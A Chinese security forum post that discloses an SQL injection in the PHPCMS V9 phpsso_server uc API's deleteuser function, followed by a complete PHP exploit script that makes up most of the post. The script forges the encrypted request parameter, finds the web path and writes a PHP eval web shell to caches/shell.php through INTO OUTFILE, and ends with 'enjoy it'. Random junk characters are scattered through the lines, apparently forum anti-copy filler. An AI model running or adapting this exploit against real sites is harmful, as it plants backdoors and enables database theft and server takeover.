找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2004|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。5 {8 L. b/ I% f4 ^+ w

( ?9 e2 U2 ]& q8 e$ }. c5 C2 q所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
. {9 z9 @" E& ^  \) r( J! n9 ]7 E
* F# V" R8 Q" |5 _! B8 n+ U5 _9 a漏洞分析:
9 \* B' l) L( x) F% w9 p3 h2 ~4 p1.未启用ucenter服务的情况下uc_key为空9 e- K# @  t# V+ }
define('UC_KEY', pc_base::load_config('system', 'uc_key'));
/ @1 n3 O$ x2 e! q3 Y2 r2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
4 a9 d) V! H4 Z% |' p    public function deleteuser($get,$post) {
3 j+ {2 V9 G" U        pc_base::load_app_func('global', 'admin');
1 d/ V# s; t( r* V7 l6 h4 Z        pc_base::load_app_class('messagequeue', 'admin' , 0);
0 u) \% e& d( L! g% m' i5 ]4 c# l        $ids = new_stripslashes($get['ids']);1 A2 O: ~9 V* B6 B5 z  ]
        $s = $this->member_db->select("ucuserid in ($ids)", "uid");7 Z+ b2 C7 n$ G$ y
SQL语句为
! h$ e  ]. W- s' }8 n3 RSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)1 u* G4 ]) H2 F3 r! E

% @$ T7 y, ^$ o9 X. V5 O4 N. i5 _利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell
( C, Y( `% B7 A7 h" R% Y<?php! m7 _* n; x9 e5 C% S  D' b
print_r('# g3 n) M0 t- u+ `& w
---------------------------------------------------------------------------5 H" Y- z$ F# U4 d$ R6 H
PHPcms (v9 or Old Version) uc api sql injection 0day
) [4 G- u7 Y  O' ~7 ^# ?8 Kby rayh4c#80sec.com
$ l, g8 H. C$ U$ G9 z---------------------------------------------------------------------------- j- X; ]' Q" V9 s- S
');
, i7 W, d- d; E( w* G* n9 B1 Q( ~" H- _
if ($argc<3) {& r- n( x- ^/ D% ]3 a
    print_r('
; e( T# V( v) p# j$ A. \0 V---------------------------------------------------------------------------
5 b1 n. m7 y  f3 sUsage: php '.$argv[0].' host path OPTIONS/ w- J0 O; w6 F4 M
host:      target server (ip/hostname)  }. {+ W: R7 I9 }" ?% b' e8 d
path:      path to phpcms
9 @* a" K; \3 {; J: ?' B6 POptions:
# \+ k8 G( ~) s( }& x5 q  f) _# B& r -p[port]:    specify a port other than 80" X/ N: Y. f7 ~3 n/ S/ I
-P[ip:port]: specify a proxy- N) o: M0 t/ ~
Example:" X% ]: @$ j4 H! C8 b# c) Q
php '.$argv[0].' localhost /
  |! w! Q$ R% ]1 i# Jphp '.$argv[0].' localhost /phpcms/ -p819 W) u9 T- W1 [1 ]1 d- {
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
# @( }$ p4 G- i! I2 l& U---------------------------------------------------------------------------
, V7 Y' y) _2 E  }' r4 m');- J3 ^' A1 u! T5 ]+ n( h( e! \: w1 s
    die;6 K7 I8 S! S, S4 G' P
}
8 T1 _* L* W& t7 e  b) ]7 g5 F+ B3 C  I  y! [3 T
error_reporting(7);4 O  O7 \* Q# x1 n- B2 u' R
ini_set("max_execution_time",0);
# I8 r- }' K( K$ n/ u6 Y9 wini_set("default_socket_timeout",5);- j+ t* U- B: N+ w' y& G5 ?

/ ?% [1 |: V, Y# M  L# [function quick_dump($string)# b% q: M# c- L6 b( \0 M
{9 \1 S2 A  `/ D. p# f
  $result='';$exa='';$cont=0;
) e: ~; i/ I" P, J  for ($i=0; $i<=strlen($string)-1; $i++)$ s9 V6 J/ X) m$ s
  {7 R* i' R% ]1 Q6 E* y% V9 e3 O- V# X) ]
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
$ Z9 o7 s) j3 b# x  v0 m6 a* \   {$result.="  .";}
" ^0 g( e3 t# P8 Y3 O2 N& q   else
. M5 R6 ~+ }# `& L7 T' y   {$result.="  ".$string[$i];}
8 M0 K, d$ X% y1 b" U( `5 t   if (strlen(dechex(ord($string[$i])))==2)( a: Z3 c# G. z: U3 N
   {$exa.=" ".dechex(ord($string[$i]));}
8 }9 {/ \: {5 ]( a) Q, s. ]# g, W   else2 f4 o2 d4 k5 B
   {$exa.=" 0".dechex(ord($string[$i]));}
4 O! U# w8 e8 W; L* _% G2 \1 E   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}  d' x6 l/ W4 U0 u( l* |
  }/ m( {/ v! f7 H& P% V2 @5 G
return $exa."\r\n".$result;
/ ?0 j- w- w3 S# F3 e7 F}$ }  R; T! |# z  h- j7 K
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';% e+ v- K* a# h

- n0 f! H4 w3 e7 Y& S/ j/ ~function send($packet)5 |# i* H# Y- L% h) j
{
+ r2 R  n/ S7 V7 O0 @4 C  global $proxy, $host, $port, $html, $proxy_regex;
, j* ]% Q1 G3 G+ f& m; F  if ($proxy=='') {3 t( j" X; l8 p% C4 x  @2 }# V, u
    $ock=fsockopen(gethostbyname($host),$port);
0 F1 q, i. s  D  }# Q8 p+ O    if (!$ock) {# Y; s0 W0 N2 d+ q5 \' l
      echo 'No response from '.$host.':'.$port; die;* f/ d! L, {, m- F: W; j
    }
, [+ q5 ~9 _4 p; w" \  }
9 g9 ~% p& J( W' s  else {
0 s% |% h  B8 ?) w        $c = preg_match($proxy_regex,$proxy);
  q) n6 |! q( d    if (!$c) {" J, ^" L6 z. e- g$ b
      echo 'Not a valid proxy...';die;
: r8 M( ~( T# m+ u1 s    }
; H" y, M" I9 r* X: A- R- \! M    $parts=explode(':',$proxy);
& h) [6 J1 A8 F    $parts[1]=(int)$parts[1];
! r6 ~6 h! i% L. s    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";1 H: R' y/ |$ G/ \, O
    $ock=fsockopen($parts[0],$parts[1]);  S6 z( u/ Q0 C6 a9 {9 L3 A
    if (!$ock) {
5 q$ \6 |; g. @7 L9 A' D      echo 'No response from proxy...';die;
; T" S1 D% N0 v        }
* v& K  _/ E; Y  c& l: l  }
: _# I$ O8 q0 A1 M8 Q2 d. X  fputs($ock,$packet);* s' N9 R0 F2 \! b1 r; g) L0 V# m
  if ($proxy=='') {
* `' G4 e9 P3 n: k. r- z% X6 l    $html='';* W, Y8 Y5 c, j+ z0 u2 I8 ~# Q3 m! Z
    while (!feof($ock)) {
1 R) ]9 D$ v8 r: n# R: {      $html.=fgets($ock);3 u) v" @0 A6 m+ H, \  j3 B
    }
) G9 L6 [' n5 {. c5 j# n  }; f5 C1 G$ J" p/ [# {5 g# i# e1 ~5 R
  else {
; O- M. d6 p" N    $html='';
. v2 {5 [  Q2 q6 a2 U    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
' p9 ~9 y: s  i) n$ }: d4 y      $html.=fread($ock,1);# d8 d1 \! W/ q) x% s
    }
8 j: L  ]/ z; T  }5 W2 N* [( J! l% n& L% [3 f- q9 p; h
  fclose($ock);
4 n  \9 W( T9 a5 B0 ^}, V4 K* d2 e; E% X

/ E& j% _( A6 Z& q2 x. c$host=$argv[1];
/ z* R  S6 U/ G$path=$argv[2];
  S# e; Q7 L7 W* h$port=80;/ F# ?0 l" F5 A/ f* g- Q& B
$proxy="";
3 T. S; a4 K3 ufor ($i=3; $i<$argc; $i++){
( ~) g+ t- F+ h6 i( Y$ X$temp=$argv[$i][0].$argv[$i][1];  W/ F6 l9 r7 m2 \7 }: `, n/ ~
if ($temp=="-p")
! l& X/ d$ C* F# s# G{
% v* C% y/ W; w4 P4 C, G  $port=(int)str_replace("-p","",$argv[$i]);
+ g9 ]7 O/ g. k8 _& j' O  \9 Y}) U: Z4 @* L/ U6 u+ O  X$ w" k
if ($temp=="-P")5 q" Y1 ~- Z2 p
{$ x$ g  r9 ?, ~" _' a0 V
  $proxy=str_replace("-P","",$argv[$i]);. R& M$ `. c, h# q' {
}
! U" N3 }+ c; _5 x% m}: `9 v2 |1 F- \$ H

6 R. p, h/ ]+ eif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
5 X  N3 M& j, T' ]( j' \if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
9 E/ P: X1 m* M+ g6 M
  c: F3 {+ M- m7 O$ D( Lfunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
$ _* ]& }6 K) ?6 G! C0 q6 z* p: d; q0 k" L8 s
    $ckey_length = 4;
1 P& ~9 Y9 J% I# Z7 J2 _
( w6 B  @' z8 C1 S    $key = md5($key ? $key : '');; ?% P, s* k0 a' T
    $keya = md5(substr($key, 0, 16));% m0 H% }& x, n7 ?, j5 d
    $keyb = md5(substr($key, 16, 16));3 P& d  b/ @* N0 R  a* J
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
1 ^/ [7 D* B# N+ N  K
5 J7 I+ @  W" \/ J  Y7 p7 o    $cryptkey = $keya.md5($keya.$keyc);/ ?# V1 S9 g5 P& P3 g+ v2 d% k
    $key_length = strlen($cryptkey);* s6 g+ `* q5 y* h3 c7 f$ \: n
' [4 R# d* H. f
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
: B& ?. E) F4 K1 f' w% y8 O2 \    $string_length = strlen($string);. z# f+ B, J" K- c/ O
# ~. F4 ^/ y$ v
    $result = '';
) G3 F# t. n+ w1 E! e+ J# T3 x    $box = range(0, 255);' W4 [9 E$ p* a1 q6 Q

& g8 H* ?6 n! o8 i* s! C    $rndkey = array();4 g5 `& r: T; i% v: D) x4 ~1 i
    for($i = 0; $i <= 255; $i++) {
. s' ]& \; T- P5 m/ C' Q8 t        $rndkey[$i] = ord($cryptkey[$i % $key_length]);/ O5 G: x7 t$ G3 _9 o
    }3 T6 \. o, s, |
; M0 Q* x: x  J' e
    for($j = $i = 0; $i < 256; $i++) {  }8 X+ w8 ]7 n
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
" n+ z; M+ e, l* q2 f8 I6 f* X0 T        $tmp = $box[$i];$ ^) `) P4 }! r2 R( l) n
        $box[$i] = $box[$j];0 ^4 q2 c- M2 K: Z; d. n+ U
        $box[$j] = $tmp;. ?) |8 F# K3 u
    }, m# R3 i# c8 G% a* G
! ^% D; @& U! X8 {1 R. X  Z
    for($a = $j = $i = 0; $i < $string_length; $i++) {# u7 [- T( @0 a# a, ^( q$ H4 Y: K
        $a = ($a + 1) % 256;
1 g9 ^9 B% W$ ]. |* ?. P        $j = ($j + $box[$a]) % 256;
4 W* {' K5 v9 n/ F        $tmp = $box[$a];- d3 F  E5 f! t/ d5 w( }
        $box[$a] = $box[$j];. A2 \1 h5 f) I: D: G
        $box[$j] = $tmp;
8 v6 B/ z  A) y8 G; l        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
  c' ?0 K. K. D0 J& `    }
) T/ e& S) a: A# o2 H
7 a" ~+ p3 }/ b' n, |, d2 U; l* y+ S    if($operation == 'DECODE') {" h5 J% _. O& O: ~7 v
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {9 U. ^! n7 F  h2 o- j
            return substr($result, 26);
( `7 C# {  r2 b" F. t. r+ y        } else {( ?* L8 y) d8 Q) Y2 |
            return '';) Q' K+ }5 R% y) F
        }6 X' b- n1 F% @: J0 M' `4 H
    } else {7 r9 }( ^# l% H% q/ w$ W1 X9 x
        return $keyc.str_replace('=', '', base64_encode($result));
( J' W& d, H0 T6 f( |% V    }- |% C2 X' [) E

1 T6 o0 k0 V+ Y6 _0 l}
/ }6 P8 W2 H! M+ b0 G! z* u0 H4 S9 d- X" v: A
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";5 R  U* n1 T& \& x6 C/ \
$SQL = urlencode(authcode($SQL, "ENCODE", ""));5 |/ V& Q* W% C% B5 l* i* J+ C
echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
1 |4 }; ?- q" J* p% N" S$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
7 A0 x  o: Z- J, U$packet.="User-Agent: Mozilla/5.0\r\n";
% e3 \  Z8 b# {. v$ |+ T1 N8 q: z# l$ a$packet.="Host: ".$host."\r\n";
5 y6 E3 s: S) W, u+ V, }7 B$packet.="Connection: Close\r\n\r\n";9 W5 f4 x, [/ z% M* C' Q1 l1 \
send($packet);
0 A/ \- x3 e! }* X4 mif(strpos($html,"MySQL Errno") > 0){. S( [6 k5 z% k  @3 c& k
echo "[2] 发现存在SQL注入漏洞"."\n";5 U0 t- G9 U& u$ z& P
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
  K& d9 m" T( L2 D  U$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";: _4 I" ~0 @  g; y* o( {3 R( U
$packet.="User-Agent: Mozilla/5.0\r\n";+ Q# i5 e& L$ r& p) S% U, m( T
$packet.="Host: ".$host."\r\n";
' ~6 x9 H. n3 {: M6 O$packet.="Connection: Close\r\n\r\n";! ]( t! A- b3 k0 ]- b3 [0 U
send($packet);5 _( `, U, q/ L+ L$ s
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
6 B3 ^2 c' K1 H, p, g/ R6 b//print_r($matches);
1 q+ U, o# O7 f! pif(!empty($matches)){$ L* t5 Y8 c5 i/ c. g* I
echo "[4] 得到web路径 " . $matches[0]."\n";) m; c/ [' q6 p2 T& \
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
7 `/ f1 C$ Y" [* U" y( }$SQL = "time=999999999999999999999999&ids=1)";
, Y1 N/ \! n$ P0 U% u6 y% {$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";9 c7 A( p1 h( ^4 ?
$SQL.="&action=deleteuser";$ l" L- @- _! t  Q6 }3 E* N
$SQL = urlencode(authcode($SQL, "ENCODE", ""));* S. ]& N2 j( z6 N2 j" T8 v
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";' _7 l1 t  O5 v
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
6 j% O( m: N9 ~3 \" q$packet.="User-Agent: Mozilla/5.0\r\n";
! S" V) V- [2 M+ E! v  ?$packet.="Host: ".$host."\r\n";
  o( E7 w( c2 z$ v6 B6 i$packet.="Connection: Close\r\n\r\n";
5 p% V( g  V% Y* S- f. usend($packet);# B! R' T$ H5 W% m" B
if(strpos($html,"Access denied") > 0){
9 g9 w' [9 Z* }3 U- t1 @echo "[-] MYSQL权限过低 禁止写入文件 ";$ {1 a; b8 b, M& o1 R
die;  r# F* q+ C% `9 u) |& Q4 W
}
) X% y  K, X. D$ K  \echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";* p- B1 d& c& {3 s' q3 F2 H! v
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
/ G* v" _! S' ^( a$packet.="User-Agent: Mozilla/5.0\r\n";
  X; O0 C0 p' Q8 Y3 U- H; s/ @6 u( s0 t$packet.="Host: ".$host."\r\n";
7 e, p4 ^1 w$ J7 w6 k$packet.="Connection: Close\r\n\r\n";7 E1 k0 [2 Z# Q5 ~+ ^
send($packet);
) |4 \* u# g' Jif(strpos($html,"<title>phpinfo()</title>") > 0){5 U8 |8 F6 I! H, J+ n
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";
$ J6 P" e, \3 g3 q& s}
6 w  u/ l6 a4 D" f/ r' _}else{# [2 ]4 _+ z, o  j
echo "[-]未取到web路径 ";
- z3 d* b, L$ l  B}2 F# g3 L0 n- Y( N: x
}else{
0 V: p' D8 D( L5 y9 wecho "[*]不存在SQL注入漏洞"."\n";- p. t& ?1 J5 C1 }- p( u( b
}& ^# ^  T+ O. P6 F2 l

. q! u" y' n0 E4 F?>
3 ?2 ^4 x& V, I# M: X1 K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表